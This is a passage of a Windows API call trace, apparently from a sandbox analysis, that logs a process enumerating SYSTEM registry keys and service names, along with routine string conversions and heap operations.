lpUsedDefaultChar=0x0) returned 14 [0247.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0247.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0247.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.985] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0247.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0247.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.986] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0247.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0247.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.986] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0247.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0247.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.986] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0247.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0247.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.987] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0247.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0247.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.987] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0247.987] RegCloseKey (hKey=0x154) returned 0x0 [0247.987] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0247.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0247.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.987] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0247.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0247.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.988] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0247.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0247.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.988] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0247.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0247.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.988] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0247.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0247.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.988] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0247.989] RegCloseKey (hKey=0xc4) returned 0x0 [0247.989] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0247.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0247.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.989] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0247.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0247.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1b68, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0247.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.989] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0247.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0247.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1bf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0248.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.053] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0248.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0248.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1b68, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0248.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.053] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0248.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0248.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1bf8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0248.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.053] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0248.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0248.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1b68, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0248.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.053] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0248.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0248.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.054] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0248.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0248.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.054] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0248.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0248.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 